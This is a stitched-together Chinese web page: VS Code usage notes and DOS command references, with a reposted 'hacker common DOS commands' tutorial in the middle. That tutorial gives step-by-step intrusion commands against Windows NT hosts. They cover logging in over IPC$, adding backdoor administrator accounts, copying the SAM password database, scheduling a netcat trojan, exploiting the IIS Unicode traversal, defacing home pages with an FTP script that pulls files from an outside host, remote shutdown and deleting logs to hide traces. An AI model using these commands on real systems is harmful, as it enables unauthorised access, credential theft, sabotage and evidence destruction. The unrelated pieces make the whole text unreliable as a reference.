具体效果:


如果还没有任何集成终端存在,那么它将创建一个新的,然后显示出来;


如果已经有几个集成终端了,那么就把终端面板调出来;


如果我们的光标就在集成终端里,那么这个命令会将终端面板隐藏。


若我们希望创建出一个新的终端来,而不是切换终端:


快捷键:Ctrl + Shift + `


命令面板:搜索并执行 “新建集成终端”(Create New Intergrated Terminal)


如果我们的电脑屏幕足够大,或者我们希望在同一界面上看到多个运行的脚本,我们也可以把一个终端面板进行切分。我们只需按下 Cmd + 或者运行 “拆分终端”(Split Terminal),就能够将当前的终端一分为二;如果再次按下这个快捷键,就能够将当前的面板平均分为三份……


最上面一行是状态栏:


侧边栏:在默认设置下 VS Code 的左侧侧边栏有五个组件,它们分别是:


资源管理器,主要用于浏览和管理文件和文件夹。


跨文件搜索,用于在当前文件夹内进行跨文件的搜索。


源代码管理,用于对当前文件夹下的代码进行版本管理,默认 VS Code 支持的版本管理软件是 Git。


启动和调试,用于对当前文件夹下的项目进行运行和调试。


插件管理,用于下载和管理 VS Code 里的插件。


在侧边栏的最下角还有一个齿轮形状的按钮


它提供了一些 VS Code 系统管理常用的快捷键,点击打开后,你可以看到命令面板、设置、键盘快捷方式、管理扩展等等一系列快速入口。


界面的最下面一行则是状态栏:


这个组件的作用就是将当前文件夹、编辑器状态、代码版本、代码错误等的简略讯息呈现给你。除此之外,很多插件也会选择将信息呈现在状态栏上。


面板(Panel)


不过“界面概览”并没有覆盖所有的组件,其中一个非常重要的部分就是面板(Panel),你可以在命令面板中执行“切换面板”命令来打开它。


打开后,你会看到面板的四个组件:问题面板、输出面板、调试控制台和终端。


问题面板(Problems Panel)的作用是展示当前文件夹下代码里的所有问题和警告,比如你的代码有语法错误、格式问题、拼写错误等


输出面板(Output Panel)的作用就是将核心命令和插件的运行状态和结果输出来,比如你使用 Git 来管理你的代码版本,你的每个 UI 上的版本操作,你都能在输出面板里看到这个操作对应的 Git 命令行以及它的运行结果。这样即使意外发生了, VS Code 无法完成指定的 Git 命令,你依然可以通过阅读输出面板找到问题所在,然后自行修复。


调试控制台主要是在调试代码时使用


终端是开发工作中不可或缺的一个工具,VS Code 则更进一步,把终端直接集成了进来。集成终端的存在,使得 VS Code 保持轻量级成为了可能性。


命令面板


设计目的:是 VS Code 快捷键的主要交互界面,这样不用鼠标,使得所有的操作都可以通过键盘进行


如何打开:Ctrl + Shift + P


打开之后,命令面板的输入框里已经有一个字符:


如果第一个字符是>(默认) ,当你继续输入字符时,VS Code 就会在所有命令里进行搜索。


VS Code 的绝大多数命令都可以在命令面板里搜到


所以熟练使用命令面板,你就可以摆脱鼠标,完全通过键盘操作来完成全部编码工作。


如果第一个字符是@,那么就扫描当前文件,提供所有的符号。)


如果第一个字符是?,就可以看到十几条选项,分别代表着你能在命令面板里使用的不同的功能


>(大于号) ,用于显示所有的命令。


@ ,用于显示和跳转文件中的“符号”(Symbols),在@符号后添加冒号:则可以把符号们按类别归类。


# 号,用于显示和跳转工作区中的“符号”(Symbols)


:(冒号), 用于跳转到当前文件中的某一行。


如果输入框里没有任何的字符时,命令面板提供的功能是访问最近使用的文件


edt 是 edit(编辑)的缩写,输入 edt 和一个空格,命令面板就会显示所有已经打开的文件;而edt active则只会显示当前活动组中的文件。


ext 是 extension(插件)的缩写,输入 ext 和一个空格,就可以进行插件的管理;ext install 则可以在命令面板中搜索和安装插件。


task和debug 分别对应于任务和调试功能。


term 是 terminal(终端)的缩写,你可以用这个命令来创建和管理终端实例。


view 则是用于打开 VS Code 的各个 UI 组件。


下面是一些常用命令的快捷键:


Ctrl + P :文件跳转


Ctrl + Shift + Tab:在所有打开的文件中跳转


Ctrl + Shift + Tab:跳转到文件中的符号


Ctrl + G:跳转到文件中的某一行


如下图,在输入框中输入文号,就能列出所有可用的相关命令


键盘操作


自定义快捷键


打开键盘快捷方式:Ctrl+K ,Ctrl+S


搜索"select to bracket"(选择括号内所有内容),双击


按下”Cmd + Shift + ]”,回车


删除快捷键


在搜索框内搜索你使用的快捷键


通过右键选择删除该快捷键的绑定


针对单词的光标移动


一个字符一个字符的移动:方向键


一个单词一个单词的移动:Option(Windows 上是 Ctrl 键)和方向键


对于代码块的光标移动


if、for 语句会使用花括号将代码块包裹起来,可以在{}始末快速跳转: Cmd + Shift + (Windows 上是 Ctrl + Shift + )


选中文本


把光标到单词开头之间的所有字符全部选中:Option(Windows 上是 Ctrl 键) + 左方向键+ Shift 键


将光标到第一行,或者最后一行之间的字符选中:Cmd、Shift 和上下方向键


操作一行代码


删除一行代码:“ Cmd + Shift + K ” (Windows 上是 “Ctrl + Shift + K”)


剪切一行代码:“ Cmd + x ” (Windows 上是 “Ctrl + x”)


在当前行的下面开始新一行:“Cmd + Enter” (Windows 上是 “Ctrl + Enter”)


在当前行的上面开始新一行:“Cmd + Shift + Enter” (Windows 上是 “Ctrl + Shift + Enter”)


撤销光标移动


撤销光标移动:“Cmd + U”(Windows 上是 “Ctrl + U”)


调整字符大小写


在命名面板里搜索:transf, 来变换字符的大小写。


代码格式化


前提:VS Code已经安装了相关插件。


对整个文档进行缩进: “Option + Shift + F” (Windows 上是 Alt + Shift + F)


对选中代码进行缩进:“Cmd + K Cmd + F” (Windows 上是 Ctrl + K Ctrl + F)


将代码注释掉:


Cmd + / (Windows 上时 Ctrl + /)


代码缩进


打开命令面板(快捷键“Cmd + Shift + P”),搜索 “reind”,然后使用 “重新缩进行” 将整个文档的缩进进行调整,但更多时候,你只需要运行 “重新缩进选中行” 来调整部分选中代码行的缩进。


行排序


无论是你在写代码,还是写 Markdown,你都可以把代码行按照字母序进行重新排序。不过这个命令比较小众,VS Code 并没有给这个命令指定快捷键,你可以调出命令面板,然后搜索 “按升序排列行” 或者 “按降序排列行” 命令执行。


合并代码行


有的时候你可能会为了避免代码看起来过于冗余,就会把比较短小的几行代码合并到一行里面去。这时,你只需要按下 “ Ctrl + j ” (Windows 上未绑定快捷键,可以打开命令面板,搜索 ”合并行“)就可以了,而不需要不断地调整光标、删除换行符。


修改函数或者变量的名字


只需把光标放到函数或者变量名上,然后按下 F2,这样这个函数或者变量出现的地方就都会被修改。


把一段长代码抽取出来转成一个单独的函数


只需选中那段代码,点击黄色的灯泡图标,然后选择对应的重构操作即可


要注意的是,并不是每个语言服务都支持重构的操作。如果你选中一段代码后,但没有看到那个黄色的灯泡图标,那么也就是说你使用的这门语言可能还没有支持快速重构。


代码跳转


跳转到了 函数的定义处:


将鼠标移动到foo 上


然后按下 Cmd 键,这时候 foo下面出现了一个下划线。


然后当我们按下鼠标左键,就跳转到了 函数的定义处。


跳转到函数定义的位置:F12


跳转到函数的实现的位置:“Cmd + F12” (Windows 上是 Ctrl + F12)


找到函数/类在哪里被引用


将光标移动到函数或者类上面


按下Shift+ F12


文件跳转


按下 “Cmd + P” (Windows 上是 Ctrl + P)时,跳出一个搜索框。


搜索你想要的文件


打开


直接打开:“Enter” 键


一个新的编辑器窗口中打开: “Cmd + Enter ” (Windows 上是 Ctrl + Enter)组合键


行跳转


将光标快速地移动到某一行


按下 “Ctrl + g”,调出行输入框


这个输入框的第一个字符就是 “ : ”,在这之后输入数字


将光标快速移动的某个文件的某一行:


按下 “Cmd + P”


在搜索框输入: 文件名:指定行,比如 a.txt:3


在一个文件里的符号之间跳转


按下 “Cmd + Shift + O” (Windows 上是 Ctrl + Shift + O),就能够看到当前文件里的所有符号。


使用方向键,或者搜索,找到你想要的符号后,按下回车,就能够立刻跳转到那个符号的位置。


输入框里有一个 “@”符号,这时,如果你输入 “:”,就可以将当前文件的所有符号,进行分类,这样搜索符号也就更加方便。


在多个文件里的符号之间跳转


“Cmd + T” (Windows 上是 Ctrl + T),搜索这些文件里的符号


面包屑


怎么打开面包屑功能:“打开设置”(Open Settings),搜索 “breadcrumbs.enabled”,找到后将它打开。


怎么用?从左到右,我们能够看到一层一层文件夹的名字,然后是当前文件名,最后则是光标所在的函数的名字。我们可以通过点击这个工具栏上的文字,然后进行文件夹、文件或者是函数的跳转。


”Cmd +F”搜索,按下 Enter 键在搜索结果当中快速跳转


把光标放在编辑器当中


按下 “Cmd + F” (Windows 上是 Ctrl + F),就能够快速地调出搜索窗口


调出搜索窗口的时候,编辑器就会把当前光标所在位置的单词自动填充到搜索框中。与此同时,当前文件里和搜索关键词相同的单词都会被高亮出来。


我们可以在在搜索框中搜索,然后按下Enter 键在搜索结果当中快速跳转


打开命令面板,搜索“配置用户代码片段”(Configure User Snippets)并且执行


这时候我们会看到一个列表,让我们选择语言。我们选中JavaScript


选择完语言后,我们就能看到一个 JSON 文件被打开了,这个文件里的内容,现在都是被注释掉的。我们可以选中第七行到第十四行,按下 Cmd+ / 取消注释。


这个就是代码片段了。


它是一个 JSON 文件,它的根对象下面的所有子节点都是一个单独的代码片段,并能够被我们调用和插入编辑器。


这个代码片段对象的键(key)是这个代码片段的名字,我们在书写时只要保证这个名字跟当前文件里的其他代码片段不冲突就可以了。


下面例子中:


这个代码片段的名字叫做 Print to console


这个代码片段对象的值,也就是花括号里的代码,必须要包含 “prefix” 前缀和 “body” 内容这两个属性。


同时,这个值还可以包含 “description” 描述这个属性,但这个属性不是必须的。


“prefix” 的作用是,当我们在编辑器里打出跟 “prefix” 一样的字符时,我们就能在建议列表里看到这个代码片段的选项,然后我们按下 Tab 键,就能够将这个代码片段的 “body” 里面的内容插入到编辑器里。如果这个代码片段有 “description” 这个属性的话,那么我们还能够在建议列表的快速查看窗口里看到这段 “description”。


{



"Print to console": {



"prefix": "log", "body": [ "console.log('$1');", "$2" ], "description": "Log output to console" } }


此时,我们可以打开一个 JavaScript 文件(还以之前的一段代码为例),然后输入 log,你就能够在建议列表里看到 Print to console 这个建议。然后再按下回车或者 Tab 键,就能够将这个代码片段插入编辑器了。


设置颜色主题


(1)打开编辑器


windows/linux:file—>perferences----> color theme


macOS:code —>perferences----> color theme


(2)使用方向键上下移动,选择不同的主题预览


(3)选择一个颜色主题,按下enter键,马上生效


设置文件图标主题


(1)打开编辑器


windows/linux:file—>perferences----> File Icon theme


macOS:code —>perferences---->File Icon theme


(2)使用方向键上下移动,选择不同的主题预览


(3)选择一个颜色主题,按下enter键,马上生效


None:禁用文件图标


首先需要说明的是,VS Code 的各个功能,都是基于当前打开的文件或者文件夹的。该怎么去理解这个概念呢?


如果你使用过 IDE 的话, 你应该记得在第一次打开 IDE 的时候,它们往往需要你创建一个工程,这个工程会生成一个特殊的工程文件。这个工程文件记载了这个项目有哪些相关的文件、项目的配置、构建脚本等等。这个文件记录着 IDE 管理工程的元信息,开发团队也能够通过共享这个工程文件保证成员工作环境的一致性。但是工程文件对用户体验就不太友好了,比如说项目文件可能对 IDE 的版本有所要求,项目文件损坏了 IDE 读取不了但是我们也不知道如何修复,等等。


VS Code 则选择了一种相对轻量,而且大家都易于理解的方式,那就是所有的操作都基于文件和文件夹。当你打开一个文件夹,VS Code 的核心功能就会对这个文件夹进行分析,并提供对应的功能。比如,在打开的文件夹下检测到有 .git 文件,就加载 Git 插件来提供版本管理的功能;或者发现文件夹下有 tsconfig.json ,就会激活 TypeScript 插件提供语言服务。


当你打开一个文件夹之后,你就能在工作台的最左侧看到资源管理器。资源管理器将当前文件夹下的文件和子文件夹,以树形结构的形式呈现出来。每一个文件的前面还会有一个小图标,用于反映文件的类型。


在资源管理器的最上方,你可以看到一个列表,叫做 “打开的编辑器”。这个很好理解,就是指这里面列出的都是当前已经被打开的文件。

⑷ 谁有DOS命令的解释哦.

ATTRIB 文件属性(显示或改变属性)
CHDIR(CD) 改变目录
CHKDSK 检查磁盘
CHOICE 提示击键输入
CLS 清屏幕
COMMAND 重新加载MS-DOS程序
COPY 复制文件
DATE 设置显示日期
DEBUG 调试程序
DEFRAG 清除磁盘碎片
DEL(ERASE) 删除文件
DELOLDOS 删除旧DOS文件
DELTREE 删除目录树分支
DIR 显示目录
DISKCOMP 比较软盘内容
DISKCOPY 复制磁盘
DOS 扩展扩充内存管理
DOSSHELL DOS外层
DRIVPARM 定义驱动器参数
EDIT 编辑器
EMM386 内存管理
ERASE 删除文件
DBLSPACE 磁盘压缩
EXPAND 释放压缩
FASTHELP 快速求助
FC 文件比较
FDISK 磁盘分区
FIND 搜寻指定字串
FOR 循环执行命令
FORMAT 格式化磁盘
MEM 内存使用情况显示
MKDIR(MD) 建立子目录
MSAV 检查和清除病毒
MSBACKUP 磁盘文件务份
PATH 设置搜索路径
PAUSE 暂停执行命令
RESTORE 磁盘文件转储
RENAME(REN) 文件重新命名
RMDIR(RD) 删除目录
SCANDISK 检查磁盘
SYS 传送系统文件
TIME 设置显示时间
TREE 显示目录结构
TYPE 显示文件内容
UNDELETE 恢复被删除文件
VER 显示系统版本号
VOL 显示卷标
VSAFE 病毒检查
XCOPY 复制组文件
APPEND 补充路径
BREAK 检查控制中断
BUFFERS 设置磁盘缓冲区数
CALL 调用批文件
CHCP 转换码页
COUNTRY 确定国家标准货币
CTTY 改变控制台
DEVICE 安装设备驱动程序
DEVICEHIGH 装载设备驱动程序
ECHO 命令显示开关
FASTOPEN 快速加载文件
FCBS 使用文件控制块
FILES 同时打开文件数
GOTO 转向分支
GRAPHICS 图形屏幕打印
HELP 求助
IF 设定条件
INCLUDE 简化多重配置块
INSTALL 安装常驻程序
INTERLNK 计算机互连
INTERSVR 与服务器互连
KEYB 装载字符转换表
LABEL 卷标
LASTDRIVE 置最大驱动器数
LOADFIX 装入固定内存
LOADHIGH(LH) 高内存程序装载
MEMMAKER 检查内存
MENUCOLOR 设置显示选项
MODE 设置硬件工作方式
MSCDEX 访问CD驱动器
MSO 检查系统配置
NLSFUNC 支持各国语言
NUMLOCK 控制NUMLOCK键
POWER 节省电能
PRINT 后台打印
PROMPT 改变系统提示
QBASIC 启动QB
REM 注释信息
REPLACE 替换文件
SET 设置环境变量
SETUP 安装DOS6。2文件
SETVER 改变DOS版本表
SHARE 网络文件共享
SHELL 装载命令处理程序
SMARTDRV 磁盘缓冲
SORT 文件排序
STACKS 支持动态使用的数据线
SUBMENU 菜单项(配置CONFIG。SYS)
SUBST 设置虚拟驱动器
SWITCHES 键盘开关
VRIFY 磁盘检验

》:建立子目录命令 MD (内部命令)
功能:在指定盘的指定目录下建立一个子目录
格式:MD [盘符][路径]子目录名
注意:1。不能建立根目录与目标目录下已经存在的目录
2。缺省路径时则表示在当前目录下建立
2》:改变当前目录目录命令: CD (内部命令)
功能:设置指定盘的当前目录
格式:CD [盘符][路径]
注意:CD 表示显示当前目录
CD..表示退回到根目录
CD/ 表示退回到上一级目录
3》:删除子目录命令:RD (内部命令)
功能: 从指定的盘符上删除子目录
格式: CD [盘符][路径]子目录名
注意:1。要删除的目录必须为空目录,如果不为空目录,先来到该目录,用 DEL *.*删除该目录下的所有内容
再回到上一级目录,用RD命令删除该目录
2。不能删除当前目录与根目录
4》:列文件目录命令:DIR (内部命令)
功能:显示指定盘、指定目录下所包含的文件与下一级子目录的有关信息
格式:DIR [盘符][路径][文件名][/P][/W]
[/P]表示分屏显示
[/W]表示压缩显示
5》:显示全盘目录命令:TREE (外部命令)
功能:显示指定盘的目录结构
格式:[盘符][路径]TREE [盘符1][/F]
[/F]表示列出各级子目录的文件名
6》:设置查找目标命令PATH (内部命令)
功能:设置外部文件的查找目录
格式: PATH [盘符][路径][;盘符][路径]……
注意:1。显示上次PATH命令设置的查找文件目录命令用:
PATH
2。删除上次PATH命令设置的文件查找目录用:
PATH;
7》:删除目录命令:DELTREE
功能:将整个目录及其子目录和文件全部删除
格式:DELLTREE [盘符][路径]目标文件
注意:全部删除、不论是否系统、隐藏、还是只读

黑客常用dos命令(转)
一般黑客入侵所需要的几个常用命令

1:NET

只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!

这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1

net use \\127.0.0.1\ipc$ "123456" /user:"hbx"

退出的命令是

net use \\127.0.0.1\ipc$ /delte

下面的操作你必须登陆后才可以用.登陆的方法就在上面.

----------------------

下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户.

我们加一个hei的用户密码为lovechina

net user hei lovechina /add

只要显示命令成功,那么我们可以把他加入Administrator组了.

net localgroup Administrators hei /add

----------------------

这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.

net use z:\\127.0.0.1\c$

----------------------

net start telnet

这样可以打开对方的TELNET服务.

----------------------

这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。

net user guest /active:yes

----------------------

这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。只要有权限就行了呀!

net user guest lovechina

net命令果然强大啊!

2:at

一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?

那么需要用AT命令,这里假设你已经登陆了那个服务器。

你首先要得到对方的时间,

net time \\127.0.0.1

将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其ID=1

at \\127.0.0.1 12:3 nc.exe

这里假设了一个木马,名为NC.EXE,这个东西要在对方服务器上.

这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.

telnet 127.0.0.1 99

这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.

4:FTP

它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个www.51.NET,不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.

在上传前需要登陆先,这里我们假设FTP服务器是www.51.NET,用户名是HUCJS,密码是654321

ftp www.51.net

他会要求输入用户,成功后会要求输入密码.

----------------------

下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\

get c:\index.htm d:\

假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下

put c:\index.htm d:\

5:

下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好IPC$连接才有效。

这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下

index.htm \\127.0.0.1\c$\index.htm

----------------------

如果你要复制到D盘下把C改为D,就行了!

index.htm \\127.0.0.1\d$\index.htm

----------------------

如果你要把他复制到WINNT目录里

就要把输入

index.htm \\127.0.0.1\admin$\index.htm

admin$是winnt

----------------------

要把对方的文件复制过来,顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名

下面就把127.0.0.1的数据库复制到本地C盘下

\\127.0.0.1\admin$\repair\sam._ c:\

----------------------

6:set

如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。这时需要用SET命令!

下面是我得到的结果!我来分析它,只是找主页在那而已。

COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP,这里本来是显示我的IP,被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址,只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT

粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你DIR这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名,这样只要看到和XX.XX.XX.XX看到的也面一模一样,那么这就是主页的名称了。

7:nbtstat

如果你扫到一部NT的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧!

现在网上很多NT的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。

命令是

nbtstat -A XX.XX.XX.XX

-A一定要大写哦。

下面是得到的结果。

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP

粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。

这里的用户是PENTIUMII。

8:Shutdown

关了对方的NT服务器的命令

Shutdown \\IP地址 t:20

20秒后将NT自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。

9:DIR

这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。

你可以本地试下。

10:echo

着名的漏洞Unicode,这个命令可以简单的黑一下有这个漏洞的主机。

我们假设我们要把“反独裁,反一党制!”写入index.htm,有2种方法,大家看看有什么区别。

echo 反独裁,反一党制!>index.htm

echo 反独裁,反一党制!>>index.htm

第一个的意思是覆盖index.htm原有的内容,把“反独裁,反一党制!”写进index.htm。

第二个的意思是把“反独裁,反一党制!”加到index.htm里面。

“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。

大家可以本地试下。

可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。

1、首先,我们需要申请一个免费的主页空间。

2、用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。)
open upload.chinaren.com(你的FTP服务器,申请时你的空间提供商会给你的)
cnhack(你申请时的用户名)
test(你申请时的密码)
get index.htm c:\inetpub\wwwroot\index.htm(这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm)
bye(退出FTP对话,相当在98下的DOS,用EXIT退出DOS)

具体的做法:
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt (利用ftp的-s参数,执行文件里的内容。)

等命令完成时,文件已经下载到你指定的文件里了。

注意:取得文件后,请删除cnhack.txt。(如果不删除,很容易会给别人看到你的密码。)

记得要 del c:\cnhack.txt

11:attrib

这个命令是设置文件属性的。如果你想黑一个站,而他的主页的文件属性设置了只读,那就很可怜呀,想删除他也不行,想覆盖他也不行。倒!不过有这个命令就别怕了。

attrib -r index.htm

这个命令是把index.htm的只读属性去掉。

如果把“-”改为“+”则是把这个文件的属性设置为只读

----------------------

attrib +r index.htm

这个命令是把index.htm的属性设置为只读。

12:del

当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。呵呵。

NT的日志有这些

del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log

只要删除这些就可以了。有些系统NT安装在D盘或其他盘,就要把C改成其他盘。

黑客常用dos命令2
建立一个空连接
命令:net use \\192.168.0.198\ipc$ "" /user:"administrator"

查看远程主机的共享资源
命令:net view \\ip

查看远程主机的当前时间
命令: net time \\ip

得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
命令:nbtstat -A ip

删除连接:
net use \\127.0.0.1\ipc$ /del

映射/删除远程共享:
net use z: \\127.0.0.1\c

向远程主机复制文件:
路径\文件名 \\IP\共享目录名,如:
d:\3389.exe \\IP\c$ 即将d盘下的3389.exe复制到对方c盘内

把远程主机上的文件复制到自己的机器里:
\\127.0.0.1\c$\xinxin.exe c:\

远程添加计划任务:
at \\IP 时间 程序名 如:
at \\IP 11:00 3389.exe

1)查看本地主机的共享资源(可以看到本地的默认共享)
net share

2)得到本地主机的用户列表
net user

3)显示本地某用户的帐户信息
net user 帐户名

4)显示本地主机当前启动的服务
net start

5)启动/关闭本地服务
net start 服务名
net stop 服务名

6)在本地添加帐户
net user 帐户名 密码 /add

7)激活禁用的用户
net uesr 帐户名 /active:yes

8)加入管理员组
net localgroup administrators xuliguo /add

tftp -i 你的IP get **.exe c:\winnt\system32\**.exe

m溢出的对方SHELL后在DOS下上传木马
tftp -i 自已的IP get ***.exe
time
at \\对方的IP 时间 ***.exe

DOS命令大全
一)MD——建立子目录
1.功能:创建新的子目录
2.类型:内部命令
3.格式:MD[盘符:][路径名]〈子目录名〉
4.使用说明:
(1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器;
(2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。
例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。
C:、>MD FOX (在当前驱动器C盘下创建子目录FOX)
C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录)
(二)CD——改变当前目录
1.功能:显示当前目录
2.类型:内部命令
3.格式:CD[盘符:][路径名][子目录名]
4.使用说明:
(1)如果省略路径和子目录名则显示当前目录;
(2)如采用“CD、”格式,则退回到根目录;
(3)如采用“CD.。”格式则退回到上一级目录。
例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。
C:、>CD FOX 、USER(进入FOX子目录下的USER子目录)
C:、FOX、USER>CD.。 (退回上一级根目录)
C:、FOX>CD、 (返回到根目录)
C:、>
(三)RD——删除子目录命令
1.功能:从指定的磁盘删除了目录。
2.类型:内部命令
3.格式:RD[盘符:][路径名][子目录名]
4.使用说明:
(1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身;
(2)不能删除根目录和当前目录。
例:要求把C盘FOX子目录下的USER子目录删除,操作如下:
第一步:先将USER子目录下的文件删空;
C、>DEL C:、FOX、USER、*。*
第二步,删除USER子目录。
C、>RD C:、FOX、USER
(四)DIR——显示磁盘目录命令
1.功能:显示磁盘目录的内容。
2.类型:内部命令
3.格式:DIR [盘符][路径][/P][/W]
4.
使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press
any key to continue
/W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个文件名。
PATH——路径设置命令
1.功能:设备可执行文件的搜索路径,只对文件有效。
2.类型:内部命令
3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…}
4.使用说明:
(1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件;
(2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开;
(3)PATH命令有三种使用方法:
PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径) PATH:(取消所有路径)
PATH:(显示目前所设的路径)
(六)TREE——显示磁盘目录结构命令
1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。
2.类型:外部命令
3.格式:TREE[盘符:][/F][》PRN]
4.使用说明:
(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件;
(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。
(七)DELTREE——删除整个目录命令
1.功能:将整个目录及其下属子目录和文件删除。
2.类型:外部命令
3.格式:DELTREE[盘符:]〈路径名〉
4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!!
五、磁盘操作类命令
(一)formAT——磁盘格式化命令
1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。
2.类型:外部命令
3.格式:formAT〈盘符:〉[/S][/4][/Q]
4.使用说明:
(1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST !
Proceed with format (Y/N)?
(警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?)
(2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A;
and press ENTER when ready…
